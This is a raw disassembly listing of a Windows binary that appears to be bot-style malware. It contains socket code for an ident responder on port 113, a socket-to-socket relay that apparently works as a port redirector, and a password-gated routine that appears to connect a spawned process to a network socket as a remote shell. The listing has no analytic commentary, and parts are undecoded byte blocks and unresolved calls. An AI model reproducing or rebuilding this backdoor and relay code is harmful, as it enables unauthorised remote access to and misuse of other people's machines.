		call	dword_4CAEE4
		push	6
		push	1
		push	2
		call	dword_4CAFF4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CAF74
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAF9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B8
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410154
		mov	eax, offset dword_43D128


loc_410154:				; CODE XREF: sub_4100DB+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CAFC4
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CAF8C
		pop	esi


loc_4101B8:				; CODE XREF: sub_4100DB+6Bj
		push	ebx
		call	dword_4CB00C
		call	dword_4CAECC
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_4101F8:				; CODE XREF: sub_4100DB+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DB	endp

; ---------------------------------------------------------------------------


loc_4101FC:				; DATA XREF: ___:00401666o
					; sub_401ACD+4369o
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CAF74
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CAFF4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410360
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43DEBC[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		push	5
		push	ebx
		call	dword_4CAF9C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410287:				; CODE XREF: ___:004102E6j
					; ___:00410349j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035B
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F94
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410287
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F7F
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	loc_410287
		mov	dword ptr [ebp-8], 1
		jmp	loc_410287
; ---------------------------------------------------------------------------


loc_41035B:				; CODE XREF: ___:0041029Cj
		cmp	[ebp-8], esi
		jnz	short loc_410387


loc_410360:				; CODE XREF: ___:00410243j
					; ___:00410267j ...
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F50
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_410387:				; CODE XREF: ___:0041035Ej
		push	ebx
		call	dword_4CB00C
		push	dword ptr [ebp-4]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	esi
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_4103AA:				; DATA XREF: sub_401ACD+613Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410516
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43DEBC[ecx], eax
		call	dword_4CAE84
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFA0
		test	eax, eax
		jnz	loc_410516
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CAF9C
		test	eax, eax
		jnz	loc_410516


loc_41045A:				; CODE XREF: ___:00410470j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB008
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045A
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_433FFC
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F6
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43DEB4[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053B
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 25E8h
		dd 8B0225FBh, 0C969C44Dh, 234h,	8189C63Bh, 43DEC4h, 75391374h
		dd 63850FD0h, 6AFFFFFFh, 0A25E832h, 0EB900225h,	52E890EDh
		dd 50022603h, 433FC068h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
		jmp	short loc_410519
; ---------------------------------------------------------------------------


loc_410516:				; CODE XREF: ___:0041040Dj
					; ___:00410441j ...
		mov	edi, [ebp+8]


loc_410519:				; CODE XREF: ___:00410514j
		push	edi
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-40h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi


loc_41053B:				; DATA XREF: ___:004104CEo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CAFF4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F1
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CAF74
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CB
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFF8
		jmp	short loc_4105D9
; ---------------------------------------------------------------------------


loc_4105CB:				; CODE XREF: ___:004105BAj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CAF2C


loc_4105D9:				; CODE XREF: ___:004105C9j
		cmp	eax, edi
		jz	loc_4106F1
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F1
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_434084
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F6
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43DEBC[ebx]
		mov	dword_43DEB4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43DEC0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410722
		push	edi
		push	edi
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4106DE


loc_41068B:				; CODE XREF: ___:00410698j
		cmp	[ebp-20h], edi
		jnz	short loc_41069A
		push	32h
		call	near ptr 2660F23h
		nop
		jmp	short loc_41068B
; ---------------------------------------------------------------------------


loc_41069A:				; CODE XREF: ___:0041068Ej
		mov	ebx, 1000h


loc_41069F:				; CODE XREF: ___:004106DAj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAF8C
		cmp	eax, edi
		jle	short loc_4106F1
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41069F
		jmp	short loc_4106F1
; ---------------------------------------------------------------------------


loc_4106DE:				; CODE XREF: ___:00410689j
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_434044
		call	sub_415220
		pop	ecx
		pop	ecx


loc_4106F1:				; CODE XREF: ___:0041057Fj
					; ___:004105DBj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43DEBC[eax]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx


loc_410722:				; DATA XREF: ___:0041066Bo
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_410759:				; CODE XREF: ___:0041079Ej
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43DEC0[esi]
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_4107A0
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43DEBC[esi]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410759


loc_4107A0:				; CODE XREF: ___:00410783j
		push	dword_43DEC0[esi]
		call	dword_4CB00C
		push	dword ptr [ebp-14h]
		call	sub_40B412
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		db 0E8h
		dd 22BF844h
		db 90h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43DEBC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CAF5C
		test	eax, eax
		jnz	short loc_410843
		push	dword ptr [esi]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h


loc_410843:				; CODE XREF: ___:00410829j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAF8C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CAEC8
		test	eax, eax
		jz	short loc_4108BC
		call	dword_4CAF08
		push	eax
		push	offset unk_43415C
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26D0000h


loc_4108BC:				; CODE XREF: ___:00410897j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, edi
		jnz	short loc_4108E6
		push	dword ptr [ebp-18h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F4
; ---------------------------------------------------------------------------


loc_4108E6:				; CODE XREF: ___:004108CCj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0


loc_4108F4:				; CODE XREF: ___:004108E4j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D128
		push	dword ptr [esi]
		call	dword_4CAFC4
		cmp	dword_4CDCD8, edi
		jnz	short loc_410956
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410956
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CAFC4
		push	dword ptr [esi]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h


loc_410956:				; CODE XREF: ___:0041090Bj
					; ___:0041092Cj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434120
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_410CD5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099D
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_4340F4
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	ebx
		call	near ptr 26D0000h
		nop


loc_41099D:				; CODE XREF: ___:00410978j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4340C8
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26D0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C4	proc near		; CODE XREF: ___:00410859p
					; ___:00410866p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		cmp	eax, 1
		jnz	short loc_410A14
		mov	esi, [ebp+arg_4]


loc_4109E2:				; CODE XREF: sub_4109C4+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A09
		test	al, al
		jz	short loc_410A18
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		cmp	eax, 1
		jz	short loc_4109E2
		jmp	short loc_410A14
; ---------------------------------------------------------------------------


loc_410A09:				; CODE XREF: sub_4109C4+27j
		push	offset unk_434188
		call	sub_415220
		pop	ecx


loc_410A14:				; CODE XREF: sub_4109C4+19j
					; sub_4109C4+43j
		xor	eax, eax
		jmp	short loc_410A1B
; ---------------------------------------------------------------------------


loc_410A18:				; CODE XREF: sub_4109C4+2Bj
		push	1
		pop	eax


loc_410A1B:				; CODE XREF: sub_4109C4+52j
		pop	esi
		leave
		retn
sub_4109C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1E	proc near		; CODE XREF: ___:00410922p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A49
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4341B4
		call	sub_415220
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410A49:				; CODE XREF: sub_410A1E+11j
		push	1
		pop	eax
		retn
sub_410A1E	endp

; ---------------------------------------------------------------------------
byte_410A4D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+23D4o
		dd 5A4EC81h, 458B0000h,	6A575608h, 0F08B5978h, 0FDECBD8Dh
		dd 16AFFFFh, 895FA5F3h,	1DCB8h,	5C858D00h, 50FFFFFAh, 20268h
		dd 0E415FF00h, 33004CAEh, 74C63BF6h, 2468501Dh,	0E8004343h
		dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h
		dd 6857022Bh, 410CCBh, 0F54EE890h, 0C0850235h, 0E8902975h
		dd 225FD9Dh, 42E06850h,	59E80043h, 59000047h, 0CC15FF59h
		dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 21E89057h,	53022BF5h
		dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
		dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h,	89E24589h
		dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h
		dd 106AB445h, 234C069h,	98890000h, 43DEBCh, 50E0458Dh
		dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h,	7FFFFFFFh
		dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342A4h
		dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
		dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h
		dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
		dd 0FFFF68h, 15FF5700h,	4CAF54h, 74FFF883h, 45B70FC5h
		dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h
		dd 0FFFFFBECh, 43426068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
		dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh,	0A50CE850h
		dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh,	0B4888924h
		dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh,	4107BFh
		dd 56F0458Dh, 0E5E89050h, 8B0225F3h, 0C969B84Dh, 234h
		dd 8189C63Bh, 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh
		dd 2E5E832h, 0EB900225h, 12E890EDh, 500225FCh, 43422468h
		dd 45CEE800h, 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh
		dd 0FBEC858Dh, 0EC68FFFFh, 50004341h, 0AC15E8h,	0CC48300h
		dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh,	0FDF0858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB00C15h, 15FF5300h
		dd 4CB00Ch, 0AECC15FFh,	75FF004Ch, 0A750E8B4h, 5659FFFFh
		dd 0F336E890h, 335B022Bh, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD5	proc near		; CODE XREF: ___:0041096Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E26
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43DEBC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF8
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D40
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_434384
		call	sub_415220
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7A
; ---------------------------------------------------------------------------


loc_410D40:				; CODE XREF: sub_410CD5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D81
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_434384
		call	sub_415220
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 268069Bh


loc_410D7A:				; CODE XREF: sub_410CD5+69j
		xor	eax, eax
		jmp	loc_410E21
; ---------------------------------------------------------------------------


loc_410D81:				; CODE XREF: sub_410CD5+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 277040Eh
		sub	eax, ebx
		jz	short loc_410DDB
		dec	eax
		jz	short loc_410DD5
		dec	eax
		jz	short loc_410DC1
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_434350
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DC1:				; CODE XREF: sub_410CD5+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DD5:				; CODE XREF: sub_410CD5+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DDF
; ---------------------------------------------------------------------------


loc_410DDB:				; CODE XREF: sub_410CD5+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_410DDF:				; CODE XREF: sub_410CD5+104j
		nop
		call	near ptr 268069Bh
		push	1
		push	dword ptr [esi+8]
		call	near ptr 26F0C45h
		nop


loc_410DF0:				; CODE XREF: sub_410CD5+EAj
					; sub_410CD5+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB00C
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax


loc_410E21:				; CODE XREF: sub_410CD5+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E26	proc near		; CODE XREF: sub_410CD5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F10
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E89
		call	near ptr 2670859h
		nop
		push	eax
		push	offset unk_434434
		jmp	short loc_410EA9
; ---------------------------------------------------------------------------


loc_410E89:				; CODE XREF: sub_410E26+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB1
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_4343F4


loc_410EA9:				; CODE XREF: sub_410E26+61j
		call	sub_415220
		pop	ecx
		jmp	short loc_410EDF
; ---------------------------------------------------------------------------


loc_410EB1:				; CODE XREF: sub_410E26+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F1F
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F14
		push	offset unk_4343CC
		call	sub_4151AC


loc_410EDF:				; CODE XREF: sub_410E26+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEB
		push	[ebp+var_4]
		call	edi


loc_410EEB:				; CODE XREF: sub_410E26+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF6
		push	[ebp+var_8]
		call	edi


loc_410EF6:				; CODE XREF: sub_410E26+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410EFF
		push	eax
		call	edi


loc_410EFF:				; CODE XREF: sub_410E26+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F09
		push	eax
		call	edi


loc_410F09:				; CODE XREF: sub_410E26+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_410F10:				; CODE XREF: sub_410E26+1Dj
		xor	eax, eax
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F14:				; CODE XREF: sub_410E26+ADj
